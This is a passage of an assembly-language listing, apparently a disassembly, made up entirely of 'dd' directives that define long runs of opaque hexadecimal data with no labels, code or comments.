9331FD00h, 66EDF805h, 0A1F467EFh dd 0C200C9FCh, 6A673207h, 0FF843C93h, 0FCC14A78h, 0E511B80Fh dd 5D0500Dh, 48C01DCAh, 40312B46h, 0E5350086h, 4328A430h dd 18B1CB66h, 2075428h, 0FD3B793Dh, 82A05DA0h, 702A4CB8h dd 7C219D25h, 3C2E71h, 38BAD935h, 0FA8BA7BBh, 0DC0347A1h dd 5D98EC9Bh, 93FC48F1h, 96AF3B28h, 8640C53Ah, 127A196Ah dd 0E9AC0D40h, 0D1589CD4h, 7905FC47h, 3FCEC309h, 11701D66h dd 8BD83F2h, 0E8620136h, 0ADE23F32h, 6033D174h, 0D8044488h dd 0DE47DD9Dh, 0BDFD0C0h, 3F5C0939h, 0ECBD70FFh, 0A2EE8504h dd 84D6CD48h, 6BC2320h, 0E1AFE705h, 34657481h, 0A8DF2425h dd 9AB9CCB1h, 8104205Ch, 4619D0FBh, 8AA6E500h, 873ABD13h dd 51220021h, 98866152h, 2900C5FBh, 14477EC6h, 0EE03739h dd 0FA8ED1C9h, 0BC736960h, 0BF607760h, 0FBB0F7EEh, 0BA4B00D5h dd 0FF526199h, 58000EA4h, 480A7C5Bh, 2B7FE7h, 0D3D5BDC4h dd 7A94CC14h, 8BF9E00h, 0AE77CB79h, 6CB70028h, 0F43B6DBh dd 0AB7083F5h, 50EAE100h, 0E53D8411h, 6D101EA8h, 0B28DC038h dd 554FA060h, 9B233Eh, 31794CB5h, 0A46821h, 0EDB3F242h dd 0DB3E52B0h, 4EC55B00h, 185C212h, 7CB084h, 82588863h dd 0F956114Dh, 89053D0Bh, 0C19B00C7h, 0A1B6E7h, 4DC47797h dd 0F5D7EBB5h, 0AD023D00h, 30F2D3Eh, 0EE3A0091h, 0D5137633h dd 0DE39F98Ch, 2E3BD1h, 0CA0C74C7h, 3A853679h, 64974157h dd 0B41C0E24h, 74E50D20h, 6A00A17Fh, 3292BC70h, 2CB76E2Ch dd 3D53B0CAh, 4D99000h, 0FF1F105Ch, 0D7EC9600h, 14D84B3Eh dd 9C530323h, 4E019E06h, 36CAFF98h, 0D7E91918h, 0AF6278h dd 0B2D886F0h, 60D5EAACh, 0C551E400h, 83CDEFA2h, 0ECAD2493h dd 2619A48Ch, 498700BEh, 11849874h, 7FCE3914h, 108800E0h dd 6B04DF83h, 0D253010Eh, 36EAD8Eh, 9AF8C46Ah, 9EC5CC3Ch dd 0EAC05B16h, 24FC1517h, 2BB52437h, 12688748h, 4BB2B010h dd 760E5DACh, 608AB34Eh, 0A7FD823Dh, 0CD72008Eh, 7B9394B0h dd 1512851Ch, 2200C6CBh, 0A2F7687Eh, 0C2DE430h, 3B7893C5h dd 0C000F4E8h, 0F595E784h, 0A3B6DDh, 0D3ECF2A4h, 9DD9D2DFh dd 9B2D6D07h, 3C509959h, 0A10B53h, 0B7FA6A49h, 8BD94266h dd 4B3ABF00h, 65162FF8h, 0E7E7F95h, 8FE1C0C2h, 5A783E00h dd 0C5F847B2h, 1E6A1012h, 0E196CC00h, 38F659EBh, 2EBF4153h dd 0CBF050h, 57228644h, 0C76B62F0h, 0EFE4BA00h, 2369C074h dd 24B6730Fh, 8078A8BDh, 0AD89E31Dh, 600316Ah, 3C036CEBh dd 0E00ADCD2h, 147F2Eh, 1A16A81Bh, 0C2743E4h, 0FF196700h dd 0BC11C244h, 5660005Ch, 6D727D64h, 1E015271h, 0AEA5760Ah dd 3CC4967Fh, 0D5A01524h, 0DD00C883h, 6FC23208h, 0E4A15E8Ah dd 34AAF42Eh, 0F406AB00h, 535D5BC8h, 0D9590073h, 0BA0C6AE1h dd 0D100E81Bh, 92FEE975h, 5451F8h, 126C86E3h, 2D10A703h dd 80A0EF38h, 9B74FB8h, 0E65A1Eh, 0E0AD362h, 0FEF1CFA9h dd 8DA59800h, 9B4319AFh, 6C4648E5h, 0C511E10Ah, 102AD0h dd 0AB3B3FB4h, 67A6BE16h, 3A9E6B00h, 2E4DA007h, 986B044h dd 99BBE032h, 821D468h, 4B6339h, 0DDD5F7FBh, 12CA3D5Bh dd 716D3CEh, 142540BDh, 67778124h, 0F2EACCE3h, 0F0BD3603h dd 0A8159523h, 0B7A45Bh, 1BE7CC52h, 9E1D6548h, 37F6441Ch dd 0C03F1080h, 4A945Ah, 0DC6368A1h, 44A40CA9h, 0CCE31300h dd 195FE03Ah, 0BCCD1E5Dh, 0B7F8C0EBh, 3FF57E5Eh, 65790700h dd 0B082E4FAh, 9C290043h, 0EB3D36CDh, 5A797017h, 9EF14916h dd 4500C113h, 0CEACEC78h, 796B03ABh, 8B7ED58Fh, 0BE8091DAh dd 666A35A3h, 1DE4D059h, 3FC00F40h, 3BC65770h, 0F484025Fh dd 10E03556h, 0B83A2440h, 0A64ACE00h, 0FBDF2128h, 0D4EE2E0Eh dd 59190082h, 136A33EBh, 17F25500h, 511264AEh, 0AA4A1E9Eh dd 92AF803Ah, 0B274158Fh, 90042F0h, 80570A73h, 0CA6D1Dh dd 3F389DFDh, 194A0BD8h, 4300877Dh, 0E50531FBh, 0D9039Fh dd 0A56E8308h, 0B27B761Ch, 70142F01h, 0B225652h, 1BE864h dd 30E1C5Dh, 6A4F32C6h dd 5619EA03h, 116E57Ah, 0EE4AFC11h, 508839h, 69211Ch, 0C2B9A02h dd 6C53828Ah, 890030EAh, 8B274239h, 48AB7D33h, 7F027C58h dd 2E72CD13h, 20001C50h, 6D8CA9A3h, 0A0936E2Bh, 0F80D7490h dd 24D9003Ch, 54A9F673h, 0AB004EE0h, 0B022C1EAh, 72A888h dd 0D2E83CB2h, 0E51D68E4h, 0E300F0ECh, 8199D68Ch, 3E938B9Eh dd 700317Fh, 1AA2DA6Ah, 0E100C266h, 0E911F41Bh, 0FAACD8h dd 843F1D10h, 7C2224BBh, 16289500h, 877F46E8h, 1E511E48h dd 8CDAC0EDh, 14E36A9Ah, 3E6E731Fh, 8BCF9100h, 720FF13h dd 2B1695B5h, 0C056849Bh, 1247B96Dh, 1FCA5505h, 1F87E7A6h dd 9BE0206Fh, 98BF13DBh, 0AC8E0004h, 621082FBh, 503AE98Dh dd 0E4708059h, 0E8BCF65Ah, 0B53B0245h, 0C94105ADh, 0F57500E0h dd 8C009C78h, 0A42BDCE6h, 4CC2B4h, 4DF694ADh, 0FF51E86h dd 0F7001CB8h, 6B81A0DCh, 0B0EBBABh, 5C08238Dh, 0DD191380h dd 9900E8F6h, 0F2685BEBh, 25F0Ah, 0C5A2DE7Bh, 7882427Ah dd 83E8D00h, 1A6E9E16h, 0E0C700CEh, 0CC5D66DDh, 69FCF0BCh dd 8EE5FC00h, 0F3D7CBF1h, 152F127Eh, 9A1DE6h, 4408469Bh dd 0B0091E89h, 4894AB4Bh, 6D13F8h, 8507E0AFh, 0FF70090Bh dd 1D76E600h, 38ACDD25h, 97A500C5h, 0DE315A68h, 177761EAh dd 0CB3F0B00h, 5305E039h, 4B56030Ch, 2DAC979Ah, 6085F4A9h dd 0CCA8845Ch, 0A504A343h, 2E33254Fh, 5FAE60D0h, 5E9F3972h dd 0FCCFBA83h, 48D52D5Bh, 0FE100310h, 0C027851Dh, 0E52F62F3h dd 41F416EAh, 1400F85Eh, 52AF29CAh, 0DAA60272h, 0F69D929Ah dd 4E182072h, 11F1E6CEh, 10B70003h, 79066A9Bh, 0E9F6317Ah dd 0F65B8500h, 0F94F8677h, 445A502Dh, 92C20C72h, 6560A2B5h dd 59A84000h, 504A1354h, 38BB1695h, 153BC68h, 412E1CD5h dd 56D07A77h, 9DECACh, 0E4C70B47h, 7CB76F67h, 0E2B3107h dd 4B5EEEB4h, 0A0046B10h, 14538B0Bh, 0B0FC86E7h, 26CA4C02h dd 0E45A78E5h, 80007058h, 88D81498h, 26AB04D7h, 874FFA48h dd 0DE5620ECh, 28C55AAAh, 44A4A107h, 7BD80087h, 0FF15F3F1h dd 57F4F531h, 943ECD01h, 0A506D09Eh, 3FA069ACh, 0B1E07100h dd 0FDA804F3h, 64CE3F00h, 333D9C7Fh, 0F0D050Eh, 0B2E507B5h dd 995F0064h, 9DE1F50Ah, 0F4AE23Bh, 46687CB3h, 6220F300h dd 0DE3C4078h, 4E801D8h, 0EB707DDh, 0B406418Ch, 0B3E4C581h dd 6404E0B7h, 8AE700C2h, 7E3DDD0h, 6713787Ah, 0BB3508h dd 303D276Eh, 71016812h, 513FE820h, 7FD04096h, 80B80141h dd 0E297E774h, 7D89FDA0h, 3D0379B0h, 592CB64h, 5B7900ABh dd 178A151Ch, 4D006F13h, 266B2C81h, 186D7BD5h, 41085063h dd 2B3AE09Dh, 52800E4h, 53BC5215h, 49300068h, 1222AC5Bh dd 1702E3D7h, 0A7393CFBh, 255BE1EBh, 45B49F5h, 0EAADC49Fh dd 0FF76D64h, 3C1719D6h, 0E15AB087h, 9C5DC734h, 5472F08h dd 14B879E1h, 3311C21h, 9AD99908h, 2718E038h, 28C74420h dd 0B3A54DA0h, 0A72619DCh, 0B452991Bh, 18455009h, 4C0D3C33h dd 79D1691Ch, 6A18A1B2h, 71F91CA6h, 618510C2h, 2850B278h dd 0A1426010h, 4088822h, 481C3DC0h, 6661F82Ch, 0C9758120h dd 72094E65h, 2D211C30h, 42B4A36Eh, 86280C08h, 689A5014h dd 80A56464h, 508A77C9h, 0FA6158h, 0E44F2A3Bh, 959117E6h dd 0ECB87529h, 8C726280h, 7C303BCAh, 316B3A7Ch, 2FE4FC52h dd 3158AC04h, 1A10E86Eh, 53B448D2h, 8F7BA000h, 0AAEC81Fh dd 43040431h, 20D7AC62h, 164F6AE3h, 1836CABAh, 833A19DDh dd 0F039F866h, 4DD32469h, 4C38340h, 4816637Bh, 0AA006B1Dh dd 75AAEE99h, 491C06F3h, 38F4885Dh, 12D9103Fh, 984054FBh dd 72DE6286h, 67F10692h, 69FDFA26h, 1268B50Ch, 144489Bh dd 0DC62CE4h, 0DCC96654h, 0EDF53D8Ch, 0C4F6D18Fh, 0CA00914Eh dd 49310EA6h, 0C02699F2h, 96A8B0F9h, 61E8B1A5h, 5DB693Ch dd 4598A46Ch, 8E488C59h, 3C6B519Dh, 0E9614480h, 0B1F0E781h dd 28F1B007h, 0D34099BEh, 0E37123Dh, 789D193Ch, 2FF3807Ch dd 0D4EC01A5h, 0ADD98567h, 2C5CE4A0h, 3E8CA0FCh, 0E99A6E96h dd 212B0520h, 18184C49h, 12894666h, 8E2A3C60h, 0E427F204h dd 0BD9C80CAh, 0C43AFECCh, 0F029E067h, 507718BAh, 0A0EC60A0h dd 0F45B9D88h, 8338C086h, 4321123Ah, 20363703h, 6640BCC4h dd 8EFE131h, 3C738E04h, 0D080686Fh, 0BEE3A1h, 0C0C31749h dd 780C2CEDh, 10A0DFFCh, 0B0A083EBh, 50A18D2Ah, 47A4D198h dd 12AC1AB0h, 0C6F8400Eh, 0DBB6494Ch, 0FEFC6302h, 41BC789Ah dd 0F2128E2Ch, 0B000A8BAh, 9B527483h, 7762E905h, 0E45F6AEDh dd 3840E852h, 0E660CA9Dh, 88B8A53Ah, 73646D54h, 263D5942h dd 0E4453F01h, 0E0B3A4C0h, 8B4339A8h, 0F289F300h, 2625F931h dd 9931EFF2h, 50B5592Dh, 46A484DAh, 0E5D0010Ch, 195FD39h dd 7ED25E25h, 0F2E0B2D4h, 0C28F0A2Dh, 0CCD3F9h, 7D31AF5Fh dd 0B6048C44h, 0CA24DB3Ch, 5095093h, 49A7361h, 0C62C90C0h dd 98416833h, 54EBC420h, 0A860B88Fh, 3B06A84h, 6D31036Eh dd 284018CDh, 433137D8h, 0ABED08A5h, 0C8108C4Ah, 7740049Bh dd 470972FAh, 13580C90h, 2D09EC92h, 721353Ah, 38490918h dd 0D17E0430h, 230A8859h, 904C0A66h, 5568155Fh, 0F18C3360h dd 312900D6h, 0B730BC57h, 3F00F1B8h, 87A09EE1h, 0E1A8E4F4h dd 264091h, 8F307E7Dh, 3398BC99h, 5F91206Fh, 18142911h dd 3C14F63Ch, 8C033CFCh, 0AF5B9A1Bh, 265843C5h, 90A6BA6Bh dd 7071C246h, 0F0F950F8h, 3CC90198h, 0F67E4576h, 30808D1Ah dd 0B0832083h, 859178F7h, 8C90607Eh, 3E16620Eh, 0F378948h dd 0E8368A50h, 4A881080h, 0C2CF2CF2h, 29314071h, 88ACB087h dd 0BD447244h, 40881AEBh, 0A9E39C5Ch, 8DF11CE4h, 1CA2EF4h dd 1B55F66Fh, 0E5B78F4Ch, 71F4F4A6h, 15385148h, 0F848C6Dh dd 0A7C65BDh, 71448CFEh, 684CC4C0h, 0A893549Eh, 1C04981Eh dd 2A50AAE9h, 2E3F0098h, 0EBD9B530h, 3D605FABh, 83D86378h dd 0A5391F6Dh, 60C86467h, 7E248C51h, 10ED0E30h, 3E83B9E2h dd 0C2853FB8h, 5F00178h, 87768Ch, 1B935298h, 3D5CD937h dd 0E1861306h, 68B3FC40h, 15579120h, 88955DA7h, 0F1738900h dd 45B5C89Ah, 8EFFBD07h, 0B260E40Ch, 18DCE55Bh, 0E9B1015Fh dd 7400F058h, 0F1E1731Eh, 1DA8B963h, 40E3160Fh, 0FE797DACh dd 4B07AFE9h, 0AB1A0D2Ah, 66C30670h, 0D45F50B7h, 4883002Eh dd 0A2FDA20h, 4005EFBh, 0E585A5AEh, 2A7E578Bh, 80FE9Eh dd 0EC965D2Ah, 1615BBFFh, 8E712B03h, 0B85065F9h, 0E20E46Bh dd 77FEB726h, 433C48C0h, 130600Eh, 83DCB1DAh, 889D00D6h dd 49CC04C5h, 0FDF47652h, 4B030890h, 6A47ABBAh, 0E54000A5h dd 0A335AF5h, 0DD7A5466h, 10D7C500h, 1699B775h, 0E42658C9h dd 4B5BE90Fh, 0B6A9E660h, 0A03AD4B3h, 717884D1h, 0A8C9A53Ah dd 6383CD00h, 2CB2583Eh, 80E02226h, 2DFF7E47h, 0C628CEC0h dd 0D450C826h, 10C00DF5h, 0D7BB6861h, 5F24004Dh, 7BE396DCh dd 0FD13463Ah, 0A700E508h, 0A52714C6h, 0F1F41Fh, 4BDCF799h dd 86BB4E46h, 0F2A62306h, 0D150CCFCh, 2FFC0458h, 623B2500h dd 0D21F4427h, 0C414003Dh, 0DDD2603h, 0E8E9E2B7h, 0E57C2FD8h dd 232E5103h, 11F2C88Fh, 11297728h, 3121D9E1h, 388ABD04h dd 4427CB04h, 2D48D3B5h, 25701742h, 9A3C0FFFh, 79106528h dd 298EC786h dd 0A551D360h, 67E3BBh, 5C1032D0h, 9AB540E8h, 807C353Ah dd 2EAA9E4Ch, 1865B6h, 8123AC14h, 69C963E2h, 0B0ED2900h dd 0D8306C61h, 0A80400F0h, 3B5D6DE3h, 0A2EA4BCAh, 0F383C100h dd 3E8FA973h, 61CE001Bh, 0C0A5D89Fh, 7F73FB6Fh, 0E634DD00h dd 0E812BBDEh, 7DE70F9Dh, 0C7801AC1h, 0EC42AEA6h, 4691400h dd 4784DB93h, 0AD6B1EB7h, 0C8C7402Eh, 910EEBF5h, 7F782762h dd 9C37409Eh, 1CA1E08Ch, 0DA402Ch, 0E7C5D5C4h, 0E901E3BFh dd 317ECEE4h, 9B207FADh, 768E0315h, 7CF3550Ah, 0C1339AE8h dd 0C2ABA91Fh, 28505D00h, 0A3E39Bh, 0C7969E23h, 433BA7B9h dd 0FC945F00h, 101F54B3h, 8C270152h, 0F658E9BCh, 1718D420h dd 0CF4CAE00h, 0B444F494h, 9E1B0008h, 1A5A95B7h, 8600BFBEh dd 0B59404E8h, 7B391035h, 67C700C5h, 438AA378h, 11002102h dd 2C4F53ADh, 0E9BA7DCh, 376CE160h, 3161009Ch, 7487CC8Ah dd 0CE936200h, 631D1F06h, 57880E37h, 60E3C825h, 8AF00440h dd 81000E9Dh, 0A107B1B7h, 3E2FAC6h, 4F63AB20h, 0CEE8D4DDh dd 900087E4h, 0BB5574D6h, 0C3CFC5A6h, 42A50516h, 0D5147998h dd 58FED813h, 8825BA00h, 22CB23h, 0CD2BE996h, 0C0575609h dd 923B15F2h, 0ECFB8035h, 0DD05EFB6h, 0DFAC006Fh, 0B4FA67F7h dd 0B549216Ah, 519300FCh, 5BE65878h, 6F600034h, 96A55455h dd 5F3CA728h, 8325078Ah, 5826B373h, 139F0010h, 853DC7EBh dd 8000E1Ch, 0B9D02786h, 0F40C57F4h, 0D2CC007Eh, 8A99AB23h dd 6ECBAA97h, 0A5280C0h, 480D5E47h, 8C38E491h, 14536C80h dd 50B82CC1h, 0B7E97600h, 6E8DE21Ch, 847358h, 2C33870Ch dd 0DDE550E3h, 0F4C8A700h, 80A3A083h, 0B81E000Fh, 4F90338Fh dd 6D7FCA60h, 0A34401Ch, 0C5A5DDC0h, 0B270AFh, 64E872A7h dd 0A0A6C204h, 790B3B7Eh, 89B71B5Ch, 0D2D78039h, 725EE811h dd 81780032h, 0E23D80D0h, 8300C287h, 0A6EE8EE1h, 1E5CE7AAh dd 757C92h, 0AB4307A4h, 0EAC02451h, 0C9285621h, 25130138h dd 5304661Dh, 79A6E4BCh, 0BF72A838h, 8F76004Eh, 0CBD17A17h dd 0B91004E3h, 80EA6AB3h, 92BD90D7h, 6C07047Dh, 98D8414h dd 42CD9D70h, 0C4C00C5h, 0F834B916h, 7100D07Eh, 5EEBD7CBh dd 0C292C3h, 0B2305421h, 5BDAAEB3h, 9DC6B100h, 470803A6h dd 0FDAF0004h, 68EE7C7Eh, 0EF0391D0h, 6C5DC36h, 0C62FA0DAh dd 0A30A098Eh, 2C987062h, 0B0A0F535h, 0AC1EA11Bh, 57011966h dd 63DA68A3h, 8818CD00h, 84448200h, 48D2265Dh, 9E71C71h dd 130EC4A6h, 800087D0h, 4012CEFh, 6888DC01h, 2E7628F5h dd 0CBF430h, 0E5785CD5h, 170FF445h, 3400AB98h, 6EE1E62Ch dd 0D8E748h, 0A7CB3972h, 5ABE287Dh, 3C403700h, 0C1605044h dd 0D075FEh, 6814A5FBh, 0EAB88879h, 1A101560h, 0D820D36Fh dd 599DF688h, 6A74C82Eh, 0B4705600h, 3A1F61h, 374DD1D8h dd 0BF1B12CAh, 0B1ED0200h, 0F28CAF36h, 91CC022Bh, 94444830h dd 537A2040h, 3405DA00h, 0DBC24087h, 7F4E0016h, 61DD4B3Bh dd 7203E009h, 9DDA675Eh, 38FA60F1h, 2D6D7C8h, 8513BE00h dd 91542DB6h, 2C1D0020h, 52D9AC8Ch, 83091125h, 801E47AEh dd 137A9DCh, 0FFE672h, 74C5BD04h, 0F6121160h, 3C8850Fh dd 1ADF40ADh, 0D50D75h, 0E7305F38h, 0A3B3F261h, 0ABFE7098h dd 1852D100h, 6D98E964h, 0D4E800D8h, 45E30A1Ah, 1200B5D0h dd 0C7BD1B6h, 0E655726h, 0E035664Eh, 1030F480h, 0FEA1088Fh dd 0E7ACC874h, 4C6DC100h, 3CBA1597h, 14D500F8h, 8D38F93Ah dd 657E13F1h, 0A4FC6000h, 5B91D1CAh, 1073CCh, 34CF53B4h dd 0FA11AE4Eh, 65CEAC00h, 5AA7D071h, 46F005Eh, 731B346Eh dd 740038FEh, 43DC467Fh, 0ECD310Ah, 0BFA9C760h, 753EDA80h dd 65482C21h, 85410074h, 2ADE0D28h, 6266076Bh, 904B0BE4h dd 5F7B659Ch, 8003D75h, 0A913C3B4h, 21815h, 0B7FA5538h dd 6AA5CEC6h, 7896CC00h, 0A10B7A8Ah, 59BC0011h, 66C45352h dd 2213D833h, 0CF135F60h, 5028C1Fh, 6852C65Ah, 133F6Ch dd 0DC8D8824h, 0E8DE4B59h, 0B7294A2Ch, 995BB000h, 702C7Ch dd 55BC0430h, 15C33864h, 0B6116618h, 0C96BD2h, 75E15C63h dd 49C63151h, 5A770B00h, 0A28473D6h, 10B835CEh, 5BDE02D8h dd 0B0607F6Fh, 654947E5h, 21E400A0h, 51B178EEh, 0F44006Bh dd 0CCDACD7Eh, 0DCA04E7Fh, 0A903A583h, 2C3CCFE6h, 3465A8F8h dd 1AF100B2h, 89B437F9h, 502C3983h, 2C0093BBh, 8E9B540Bh dd 32B8000Eh, 73D9814Dh, 0C0A02B49h, 33004FFEh, 4BC83577h dd 1EF7E9Eh, 0D111A5B6h, 804DE25Dh, 0B08359B0h, 0EA7155Eh dd 5B218234h, 13E1C520h, 0B13E1C2Eh, 901880EAh, 0A9814208h dd 0C8EB00F4h, 3BF09E14h, 5A132E31h, 651F9C0Eh, 3F1186C4h dd 0C94598C0h, 540F49CFh, 30245E80h, 43039707h, 6F94E448h dd 8B6000D0h, 355033D2h, 661436CBh, 4C9CA0FBh, 0EF890091h dd 0ECBA259Dh, 2C6E842h, 8DCC04FCh, 0BCA1DC29h, 9335BA0h dd 37009C22h, 0F4CC1D6Ah, 0D9759C2Fh, 5548F700h, 0A0288FB0h dd 131700D1h, 3F0D2EB5h, 4A0261E9h, 0B0142127h, 6390406Eh dd 0D0676042h, 0FC70AB16h, 0FD1A4100h, 3092B778h, 5C33982Eh dd 7701F8CAh, 0AEAD8682h, 3FCC44Eh, 0F7077300h, 0D6DFD752h dd 6FC8FFF6h, 0B3F01DCh, 9F17D49Ch, 97EFD078h, 68C0AF71h dd 3DC9F1B9h, 0C55300A8h, 7F6D7BA0h, 0BE605A62h, 0B7C16320h dd 663A001Eh, 0D231D47Dh, 0FAEE16F8h, 0F53ED602h, 0E095A61Fh dd 400C7FF4h, 38006D41h, 0CFBEA89Dh, 0ABB289h, 0D09B591Fh dd 0E62BC784h, 0BD42A203h, 88AE28F8h, 0BC1EAAh, 3483B77Bh dd 21C16417h, 6F4F0E00h, 161B3BFFh, 0F30C0287h, 5A7376CDh dd 7FD020C0h, 1079777Fh, 370704B8h, 7141452Fh, 0CAC98911h dd 39C160h, 0D78D2C8Eh, 0AF1663EFh, 0B85E1405h, 2683564Dh dd 7E8002C2h, 0CB7C369Ch, 8C97B080h, 60546AF4h, 500AEF8h dd 4E3064A1h, 7EC852h, 0BE7FB319h, 69DF2D5h, 0D0002BE0h dd 83E2B421h, 282662BCh, 0ACA93Fh, 54B26A0Bh, 485E193Ah dd 59735D1Dh, 20B5F54Dh, 9C329E87h, 6599F094h, 0B0333A7h dd 0E5ADDADEh, 0DF5B8863h, 3D1F3CB9h, 0A8E48AE0h, 30000A5Ah dd 6BA6D6Ah, 0EEF66DFh, 35B3D5C6h, 8D470C60h, 0F70087C2h dd 8654C8CCh, 905631FCh, 70890A4Fh, 0D86928h, 999D497Ch dd 0EE0085BEh, 9B869AF3h, 0FED7E1h, 0A4F874A2h, 71428843h dd 560172E4h, 6BC0326Fh, 2A154Bh, 3DBB3832h, 461FF35Eh dd 4CFF594Ch, 4D0F077Fh, 7FF08558h, 121EBDFCh, 8051783Ch dd 1D7BD6E8h, 0C0F1D700h, 0B4CCEB9h, 79C41EF3h, 7D3FC026h dd 0D05ABC5Fh, 36F69D0Fh, 456360D8h, 80C310h, 0C155CD2Bh dd 0CA837E9Fh, 3EF1D300h, 6F3FDB7Ch, 76D47D3Bh, 654000BBh dd 8CD68AE1h, 450057D3h, 0E0D15AC2h, 7213B2Ah, 0BBFF3202h dd 88F44142h, 71F9CBE3h, 53D8CB46h, 9400BE85h, 0B5C29D4h dd 1D06035Fh, 57EF5B77h, 99A8004Ch, 5C9BE06Eh, 3B4739h dd 90E11644h, 0F665CCE3h, 0D6F33CE4h, 7837C16h, 5018814Bh dd 6A108F5Dh, 959B8800h, 32BE94F2h, 0C8DF00C3h, 54A3B8D3h dd 7D7C8464h, 0ACE8690Fh, 0B43E8075h, 74634C8Ch, 975C50E5h dd 50A30320h, 30DA9558h, 7F6EDC8h, 976C3F00h, 2747AC5Bh dd 321E0718h, 5EA14874h, 8A6267C0h, 0B1F8AB9Ch, 5B42500h dd 69F4BD27h, 2F0F00BCh dd 11EF369Fh, 0D001CF84h, 0C53F1001h, 0FCC8395Ah, 0E55E0053h dd 33A5D19Eh, 780041D2h, 0ADCA1DDDh, 6B8F79h, 0A27B04BCh dd 0EE77EDB5h, 0C5478A00h, 0FA942C88h, 134A036Dh, 1966181Eh dd 0CB9FEEC0h, 400B4F0h, 609314D9h, 3CA231D6h, 0C680AAABh dd 91320956h, 0C289ACEh, 0C8009C9Eh, 0AA431D18h, 1904EF0h dd 3ABFD837h, 0EC7C24C5h, 0A600EC5Bh, 0DC254DB3h, 0C144A8h dd 0E0B8A309h, 795D2BAEh, 28ACBB5Ch, 0F500F41Ah, 0FBA9D8ECh dd 0F76F3h, 3B4F3D5Eh, 0FAF2A75Ch, 50CD6F00h, 1F0BDFB2h dd 5B9800D9h, 0DEE60C34h, 35008F58h, 84CD68A0h, 4CAB9499h dd 1601C2FFh, 8C02C069h, 2742F0A2h, 0C497AC00h, 3EE3F91Fh dd 0C3EC0005h, 0E9E79C23h, 20009365h, 7D343851h, 0C98704h dd 0CF7BE2A9h, 0E78289D5h, 5962C500h, 0A32BE4FDh, 0EDB80030h dd 55F3F573h, 1407A2B1h, 0A47A5CBCh, 3037B557h, 0DF1646A0h dd 0B03B0929h, 0BC80A325h, 3C7DA8A1h, 0F8BBC000h, 84E1AA0Ch dd 0FDEA3A76h, 8F125700h, 8CD1DCC9h, 26D4D802h, 0E0C0E021h dd 166AE670h, 0F5FCE46h, 0D7E11BC9h, 0C15375C9h, 0C458E064h dd 0AFA67F3Eh, 0BE2AE0F3h, 385200C2h, 0BC762E36h, 0EA00FA7Ah dd 0A23ABDD3h, 988AF4A6h, 0ABF00073h, 9279CADFh, 0A000639Bh dd 13782D2Fh, 3D2FD0Ah, 772087E6h, 0CBF29D81h, 41AFC0DDh dd 3D5B00A7h, 861EA450h, 3707C433h, 0AB2F9820h, 0B8DDDEA0h dd 9AD5001Fh, 4A856462h, 0FB0382B7h, 0E8840E81h, 247080A2h dd 7B02485Eh, 55D39B00h, 3404076Eh, 0F3674100h, 76BB89CAh dd 827A2F80h, 632499E0h, 0D96CF600h, 944650B1h, 36BB000Ah dd 0B4822369h, 2929E6EFh, 5F00BC0Bh, 0BE469681h, 0D95D26FDh dd 487A4054h, 9007405h, 0F09C75C0h, 69C813h, 28E6556Bh dd 0B3018A0Ah, 80D81C3Dh, 0DA2C9E2Fh, 9CCA9Dh, 45D353F4h dd 6A2E9C7h, 9F9B6B00h, 0CAC267EAh, 48C0F8F0h, 0DD001B3Ch dd 0C616E852h, 7700C412h, 6C3B8CB8h, 91BFA7h, 39ED772h dd 0A02949C3h, 112ED000h, 0C437C5B1h, 19E4BAh, 2C750E6Dh dd 0EF5D7B3Ch, 57344800h, 46EF13Eh, 10544CC0h, 0CB39AC05h dd 0B44808Dh, 0F601BE69h, 0A934B09Ah, 5C708720h, 0C4AF042Fh dd 90062EC0h, 9DEDB300h, 1B90FC00h, 0B3764DDh, 0FACF04C3h dd 0C5284E43h, 0EBA780F0h, 0BF01F0D4h, 2B5710B8h, 0FED4061Ch dd 0C70C3D96h, 8B00D9ACh, 0B28024C3h, 0A69C7BA1h, 19D67F00h dd 0A7FF93E6h, 0F6CD75B5h, 511100B7h, 0A1E13302h, 17005367h dd 4BA9D66Eh, 22757Bh, 0F4558CDBh, 0D22BD0E2h, 0BE8A6513h dd 21BDD102h, 67C04131h, 7EDF0760h, 0C28B3CC3h, 7A0F7900h dd 0F20CC81Bh, 2233F03h, 0B8491DACh, 937230h, 785E13CFh dd 0B98B328Fh, 3CE85500h, 878581B1h, 693B60CDh, 1C64C7A6h dd 0B712CF00h, 617CDC4Dh, 5C9A2Dh, 1B24BBE9h, 38ED0B9Fh dd 7FBC3500h, 15CD7078h, 38E0080h, 2C366997h, 3A0084C7h dd 0BB3D3D7h, 2E0E4179h, 1875B82Fh, 0A22BF1F3h, 2486AA00h dd 7C139DA9h, 584A4899h, 3C95531Fh, 0D43E8CD9h, 9175DE00h dd 0B305C2E7h, 94CB250Ch, 8922112h, 0F2DA881Dh, 0FE2BCC00h dd 0C5ACFD9h, 0FC561105h, 1230D728h, 58FD301Eh, 1BF63952h dd 8FE9A283h, 187BDEA7h, 0E803027Ch, 0E3C4D7C3h, 0B45EA8C5h dd 3FA503F5h, 0B3929A8Ah, 0CF85A000h, 56CBFE33h, 0A6610448h dd 90D2E979h, 0AA8B9AB8h, 9712F500h, 9305B957h, 0CF11C098h dd 7E330F2Ch, 9D924802h, 8AC47C34h, 120CFD7Ch, 3A1B8858h dd 675B2FCh, 3AD4B152h, 9A28C161h, 0DD306CC9h, 0F62CF8BAh dd 0BEE20080h, 0AA906176h, 0C00CF3Dh, 0B8E18E96h, 0A1CC9Ch dd 5E12B0EDh, 0AF8B3748h, 417B7C0Eh, 75EBE0BFh, 211E4Ah dd 0C528369Bh, 0DE5C42D1h, 0DB868200h, 0D743B8FDh, 1D8D010Fh dd 3D52EBC2h, 0E3E5D86Bh, 0A34DDE03h, 0E8EA25F4h, 1DCE7F72h dd 0A7359h, 9B0FCC54h, 8800B6B5h, 13BBE353h, 446BAC5Ah dd 9B052542h, 99DA54Fh, 16C4A806h, 0B8185408h, 20D3E45h dd 0D370DE80h, 3F589CEh, 9E333498h, 0FC6CC7h, 0FF5B3210h dd 0DCB1DAE5h, 0EF00527Ch, 0AD88D7D6h, 0A4EEA816h, 0F4DE009Ch dd 3BCFA7C4h, 56904AE7h, 217008DDh, 0C4891Dh, 0FFFE394Bh dd 0EE1A31B9h, 7D9A880Eh, 464F87F6h, 5CA0C246h, 141FE49Dh dd 33D0B087h, 770096BCh, 13FFC252h, 0E8F60A9Ah, 10924Ch dd 0CC899744h, 2C038C50h, 0BD912200h, 58B63256h, 0D6B200EBh dd 2DB8E536h, 0D209C7C8h, 802EC2C6h, 3CE24D44h, 0FE2503D9h dd 0E4DE3F43h, 0DC56D6E0h, 47F82F00h, 5F9B0C23h, 0A408CCBBh dd 951DD648h, 27002F71h, 24CE6256h, 2B0F0789h, 0D2B87B39h dd 